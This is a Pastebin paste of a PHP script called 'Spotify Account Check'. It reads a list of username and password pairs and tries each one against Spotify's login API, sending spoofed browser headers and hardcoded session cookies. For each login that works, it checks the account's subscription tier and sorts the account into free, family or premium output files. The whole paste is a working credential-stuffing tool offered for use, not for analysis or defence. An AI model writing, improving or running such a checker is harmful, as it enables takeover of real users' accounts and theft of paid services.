Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- echo "###############################\n";
- echo "[+] Name : Spotify Account Check\n";
- echo "[+] Version : 1.0\n";
- echo "[+] Author : Humarb\n";
- echo "###############################\n";
- function getCookies(){
- $ch = curl_init('https://accounts.spotify.com/id-ID/login');
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- // get headers too with this line
- curl_setopt($ch, CURLOPT_HEADER, 1);
- $result = curl_exec($ch);
- // get cookie
- // multi-cookie variant contributed by @Combuster in comments
- preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $result, $matches);
- $cookies = array();
- foreach($matches[1] as $item) {
- parse_str($item, $cookie);
- $cookies = array_merge($cookies, $cookie);
- }
- return json_encode($cookies);
- }
- function login($user,$pw,$token){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "https://accounts.spotify.com/api/login");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "remember=false&username=$user&password=$pw&csrf_token=$token");
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
- curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie-spotify.txt');
- curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie-spotify.txt');
- $headers = array();
- $headers[] = "Origin: https://accounts.spotify.com";
- $headers[] = "Accept-Encoding: gzip, deflate, br";
- $headers[] = "Accept-Language: en-US,en;q=0.9";
- $headers[] = "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36";
- $headers[] = "Content-Type: application/x-www-form-urlencoded";
- $headers[] = "Accept: application/json, text/plain, */*";
- $headers[] = "Referer: https://accounts.spotify.com/id-ID/login";
- $headers[] = "Cookie: sp_t=da63cdfadc73e38083d5a956f49e1c51; sp_new=1; __bon=MHwwfC0xMTQyOTM1NTcxfC00ODAwMzI5Mzk4MnwxfDF8MXwx; BOOTSTRAP_CONFIG=%7B%22FB_APP_ID%22%3A%22174829003346%22%2C%22GOOGLE_ANALYTICS_ID%22%3A%22UA-5784146-31%22%2C%22TINDER_ADJUST_TRACKER_ID%22%3A%22szcgk1_dn83gr%22%2C%22TINDER_CLIENT_ID%22%3A%22b06a803d686e4612bdc074e786e94062%22%2C%22ITUNES_ADJUST_TRACKER_ID%22%3A%22isj4qp%22%2C%22country%22%3A%22ID%22%2C%22locales%22%3A%5B%22en_US%22%2C%22en%22%5D%2C%22BON%22%3A%5B%220%22%2C%220%22%2C-1142935571%5D%2C%22user%22%3A%7B%22displayName%22%3A%22rahyang.nusantara%22%7D%2C%22redirect%22%3Anull%7D; spot=%7B%22t%22%3A1511712993%2C%22m%22%3A%22id%22%2C%22p%22%3A%22premium%22%7D; csrf_token=$token; fb_continue=https%3A%2F%2Faccounts.spotify.com%2Fid-ID%2Fstatus; _ga=GA1.2.504002883.1511712904; _gid=GA1.2.1848370865.1511712904";
- $headers[] = "Connection: keep-alive";
- curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
- return curl_exec($ch);
- curl_close($ch);
- }
- function subscription($token){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "https://www.spotify.com/us/account/subscription/");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
- curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie-spotify.txt');
- curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie-spotify.txt');
- $headers = array();
- $headers[] = "Origin: https://accounts.spotify.com/api/login";
- $headers[] = "Accept-Encoding: gzip, deflate, br";
- $headers[] = "Accept-Language: en-US,en;q=0.9";
- $headers[] = "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36";
- $headers[] = "Content-Type: application/x-www-form-urlencoded";
- $headers[] = "Accept: application/json, text/plain, */*";
- $headers[] = "Referer: https://accounts.spotify.com/api/login";
- $headers[] = "Cookie: sp_t=da63cdfadc73e38083d5a956f49e1c51; sp_new=1; __bon=MHwwfC0xMTQyOTM1NTcxfC00ODAwMzI5Mzk4MnwxfDF8MXwx; BOOTSTRAP_CONFIG=%7B%22FB_APP_ID%22%3A%22174829003346%22%2C%22GOOGLE_ANALYTICS_ID%22%3A%22UA-5784146-31%22%2C%22TINDER_ADJUST_TRACKER_ID%22%3A%22szcgk1_dn83gr%22%2C%22TINDER_CLIENT_ID%22%3A%22b06a803d686e4612bdc074e786e94062%22%2C%22ITUNES_ADJUST_TRACKER_ID%22%3A%22isj4qp%22%2C%22country%22%3A%22ID%22%2C%22locales%22%3A%5B%22en_US%22%2C%22en%22%5D%2C%22BON%22%3A%5B%220%22%2C%220%22%2C-1142935571%5D%2C%22user%22%3A%7B%22displayName%22%3A%22rahyang.nusantara%22%7D%2C%22redirect%22%3Anull%7D; spot=%7B%22t%22%3A1511712993%2C%22m%22%3A%22id%22%2C%22p%22%3A%22premium%22%7D; csrf_token=$token; fb_continue=https%3A%2F%2Faccounts.spotify.com%2Fid-ID%2Fstatus; _ga=GA1.2.504002883.1511712904; _gid=GA1.2.1848370865.1511712904";
- $headers[] = "Connection: keep-alive";
- curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
- return curl_exec($ch);
- curl_close($ch);
- }
- function save($file, $input){
- $save = fopen($file, "a+");
- fwrite($save, $input);
- fclose($save);
- }
- $file = readline("Input file : ");
- $openfile = fread(fopen($file, "r"), filesize($file));
- $exfile = explode("\n", $openfile);
- foreach($exfile as $num => $exe){
- list($user, $pass) = explode("|", $exe);
- $cookie = json_decode(getCookies());
- $login = json_decode(login($user,$pass,$cookie->csrf_token));
- if(!$login->error){
- $username = $login->displayName;
- $result = subscription($cookie->csrf_token);
- preg_match_all("/Premium for Family/", $result, $type);
- if(count($type[0]) == 2){
- echo "[".($num+1)."/".count($exfile)."] ".$exe." => [".$username."] [Spotify Free] ./humarb \n";
- save("spot-free.txt", "[".($num+1)."/".count($exfile)."] ".$exe." => [".$username."] [Spotify Free] ./humarb \n");
- } elseif(count($type[0]) == 3){
- echo "[".($num+1)."/".count($exfile)."] ".$exe." => [".$username."] [Spotify Premium for Family] ./humarb \n";
- save("spot-pff.txt", "[".($num+1)."/".count($exfile)."] ".$exe." => [".$username."] [Spotify Premium for Family] ./humarb \n");
- } elseif(count($type[0]) == 4){
- echo "[".($num+1)."/".count($exfile)."] ".$exe." => [".$username."] [Spotify Premium] ./humarb \n";
- save("spot-premium.txt", "[".($num+1)."/".count($exfile)."] ".$exe." => [".$username."] [Spotify Premium] ./humarb \n");
- }
- } else {
- echo "[".($num+1)."/".count($exfile)."] ".$exe." => DIE ./humarb \n";
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement